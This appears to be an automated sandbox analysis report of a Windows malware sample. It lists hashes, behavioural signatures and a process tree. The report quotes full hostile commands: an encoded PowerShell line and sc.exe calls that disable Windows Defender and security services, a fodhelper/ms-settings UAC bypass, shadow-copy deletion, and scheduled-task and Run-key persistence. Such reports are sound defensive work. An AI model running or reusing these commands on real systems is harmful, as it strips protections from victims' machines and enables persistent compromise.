Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 14:45
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
ettyl.im_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
ettyl.im_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target ettyl.im_hyber.exe
- Size 49KB
- Sample260910-r4vxhsdn4t
- SHA256 d0315eba33c6e6fe3cbf1bd20cf9520beffcabc8267d4fa32d97298490022485
- MD5 da1ec206f4f148f4fd51575f22e417ae
- SHA1 03523545c2c0fe02bba0e4cecfa1ede290f9861d
- SHA512 59a2dbc8f4af1f6ed3e0be5985eab2f7a4ca73eef64ea889b636968263f8581f1487d231c72395e67c9b2de36dc5d98710d6071e69d426c626b5ad374ed5532d
- SSDEEP 384:tFrb51vIFF66z9S0huAozGYKg+9wFfY9leKSo1ML+gek/Sb7REH9iUXFdx17IPzc:PrVZZ6zs0h3Fk/qE/NaPzfX/ffl49
- TLSH T11F33074937ED4526D2BF5ABE89F251118731F4539C23EB8E0AD8459E09F37008DA8F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4364-1-0x0000000000A90000-0x0000000000AA2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" ettyl.im_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1048 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" ettyl.im_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts ettyl.im_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1400 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf ettyl.im_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf ettyl.im_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf ettyl.im_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ettyl.im_hyber.exe" ettyl.im_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3064 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe ettyl.im_hyber.exe File created C:\Windows\system32\sysupdate.exe ettyl.im_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe ettyl.im_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 708 wscript.exe 3324 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" ettyl.im_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1190384399.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 6000 sc.exe 5196 sc.exe 2012 sc.exe 5196 sc.exe 4072 sc.exe 5340 sc.exe 124 sc.exe 1704 sc.exe 2600 sc.exe 3800 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3504 cmd.exe 5860 cmd.exe 5812 cmd.exe 3724 cmd.exe 2632 cmd.exe 4676 cmd.exe 4628 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6080 ipconfig.exe 5756 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5644 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5056 vssadmin.exe 1908 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2" ettyl.im_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open ettyl.im_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ettyl.im_hyber.exe\" \"%1\"" ettyl.im_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open ettyl.im_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings ettyl.im_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" ettyl.im_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command ettyl.im_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet ettyl.im_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell ettyl.im_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings ettyl.im_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell ettyl.im_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open ettyl.im_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command ettyl.im_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command ettyl.im_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ettyl.im_hyber.exe" ettyl.im_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute ettyl.im_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell ettyl.im_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2760 schtasks.exe 2496 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 2344 WMIC.exe 2344 WMIC.exe 2344 WMIC.exe 2344 WMIC.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 3544 WMIC.exe 3544 WMIC.exe 3544 WMIC.exe 3544 WMIC.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe 4364 ettyl.im_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4292 LogonUI.exe Token: SeCreatePagefilePrivilege 4292 LogonUI.exe Token: SeDebugPrivilege 4364 ettyl.im_hyber.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeIncreaseQuotaPrivilege 1048 powershell.exe Token: SeSecurityPrivilege 1048 powershell.exe Token: SeTakeOwnershipPrivilege 1048 powershell.exe Token: SeLoadDriverPrivilege 1048 powershell.exe Token: SeSystemProfilePrivilege 1048 powershell.exe Token: SeSystemtimePrivilege 1048 powershell.exe Token: SeProfSingleProcessPrivilege 1048 powershell.exe Token: SeIncBasePriorityPrivilege 1048 powershell.exe Token: SeCreatePagefilePrivilege 1048 powershell.exe Token: SeBackupPrivilege 1048 powershell.exe Token: SeRestorePrivilege 1048 powershell.exe Token: SeShutdownPrivilege 1048 powershell.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeSystemEnvironmentPrivilege 1048 powershell.exe Token: SeRemoteShutdownPrivilege 1048 powershell.exe Token: SeUndockPrivilege 1048 powershell.exe Token: SeManageVolumePrivilege 1048 powershell.exe Token: 33 1048 powershell.exe Token: 34 1048 powershell.exe Token: 35 1048 powershell.exe Token: 36 1048 powershell.exe Token: SeIncBasePriorityPrivilege 4364 ettyl.im_hyber.exe Token: SeDebugPrivilege 3064 tasklist.exe Token: SeDebugPrivilege 2140 whoami.exe Token: SeIncreaseQuotaPrivilege 1048 powershell.exe Token: SeSecurityPrivilege 1048 powershell.exe Token: SeTakeOwnershipPrivilege 1048 powershell.exe Token: SeLoadDriverPrivilege 1048 powershell.exe Token: SeSystemProfilePrivilege 1048 powershell.exe Token: SeSystemtimePrivilege 1048 powershell.exe Token: SeProfSingleProcessPrivilege 1048 powershell.exe Token: SeIncBasePriorityPrivilege 1048 powershell.exe Token: SeCreatePagefilePrivilege 1048 powershell.exe Token: SeBackupPrivilege 1048 powershell.exe Token: SeRestorePrivilege 1048 powershell.exe Token: SeShutdownPrivilege 1048 powershell.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeSystemEnvironmentPrivilege 1048 powershell.exe Token: SeRemoteShutdownPrivilege 1048 powershell.exe Token: SeUndockPrivilege 1048 powershell.exe Token: SeManageVolumePrivilege 1048 powershell.exe Token: 33 1048 powershell.exe Token: 34 1048 powershell.exe Token: 35 1048 powershell.exe Token: 36 1048 powershell.exe Token: SeBackupPrivilege 5868 vssvc.exe Token: SeRestorePrivilege 5868 vssvc.exe Token: SeAuditPrivilege 5868 vssvc.exe Token: SeIncreaseQuotaPrivilege 2344 WMIC.exe Token: SeSecurityPrivilege 2344 WMIC.exe Token: SeTakeOwnershipPrivilege 2344 WMIC.exe Token: SeLoadDriverPrivilege 2344 WMIC.exe Token: SeSystemProfilePrivilege 2344 WMIC.exe Token: SeSystemtimePrivilege 2344 WMIC.exe Token: SeProfSingleProcessPrivilege 2344 WMIC.exe Token: SeIncBasePriorityPrivilege 2344 WMIC.exe Token: SeCreatePagefilePrivilege 2344 WMIC.exe Token: SeBackupPrivilege 2344 WMIC.exe Token: SeRestorePrivilege 2344 WMIC.exe Token: SeShutdownPrivilege 2344 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4364 ettyl.im_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4292 LogonUI.exe 4292 LogonUI.exe 4364 ettyl.im_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4364 wrote to memory of 1048 4364 ettyl.im_hyber.exe 91 PID 4364 wrote to memory of 4072 4364 ettyl.im_hyber.exe 93 PID 4364 wrote to memory of 6000 4364 ettyl.im_hyber.exe 95 PID 4364 wrote to memory of 5340 4364 ettyl.im_hyber.exe 97 PID 4364 wrote to memory of 124 4364 ettyl.im_hyber.exe 119 PID 4364 wrote to memory of 5196 4364 ettyl.im_hyber.exe 144 PID 4364 wrote to memory of 2012 4364 ettyl.im_hyber.exe 103 PID 4364 wrote to memory of 2600 4364 ettyl.im_hyber.exe 105 PID 4364 wrote to memory of 1704 4364 ettyl.im_hyber.exe 107 PID 4364 wrote to memory of 3360 4364 ettyl.im_hyber.exe 108 PID 3360 wrote to memory of 1112 3360 fodhelper.exe 110 PID 4364 wrote to memory of 708 4364 ettyl.im_hyber.exe 112 PID 4364 wrote to memory of 2760 4364 ettyl.im_hyber.exe 113 PID 4364 wrote to memory of 1600 4364 ettyl.im_hyber.exe 118 PID 4364 wrote to memory of 4628 4364 ettyl.im_hyber.exe 121 PID 4364 wrote to memory of 4676 4364 ettyl.im_hyber.exe 123 PID 4364 wrote to memory of 2632 4364 ettyl.im_hyber.exe 124 PID 4364 wrote to memory of 3724 4364 ettyl.im_hyber.exe 125 PID 4364 wrote to memory of 5812 4364 ettyl.im_hyber.exe 126 PID 4364 wrote to memory of 5860 4364 ettyl.im_hyber.exe 127 PID 4364 wrote to memory of 3504 4364 ettyl.im_hyber.exe 128 PID 4364 wrote to memory of 2496 4364 ettyl.im_hyber.exe 133 PID 4364 wrote to memory of 3324 4364 ettyl.im_hyber.exe 137 PID 2632 wrote to memory of 3064 2632 cmd.exe 138 PID 4364 wrote to memory of 5056 4364 ettyl.im_hyber.exe 139 PID 4364 wrote to memory of 2344 4364 ettyl.im_hyber.exe 140 PID 4364 wrote to memory of 4332 4364 ettyl.im_hyber.exe 141 PID 4364 wrote to memory of 1400 4364 ettyl.im_hyber.exe 142 PID 4364 wrote to memory of 3800 4364 ettyl.im_hyber.exe 143 PID 4364 wrote to memory of 5196 4364 ettyl.im_hyber.exe 144 PID 5812 wrote to memory of 3880 5812 cmd.exe 149 PID 4676 wrote to memory of 5644 4676 cmd.exe 152 PID 5860 wrote to memory of 6080 5860 cmd.exe 153 PID 4628 wrote to memory of 1908 4628 cmd.exe 154 PID 3880 wrote to memory of 4764 3880 net.exe 155 PID 3724 wrote to memory of 2140 3724 cmd.exe 156 PID 3504 wrote to memory of 5756 3504 cmd.exe 157 PID 4332 wrote to memory of 5060 4332 net.exe 159 PID 4628 wrote to memory of 3544 4628 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe"C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4072
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:6000
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5340
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:124
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5196
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2012
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2600
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1704
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe"C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe"3⤵PID:1112
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:708
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\ettyl.im_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2760
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1600
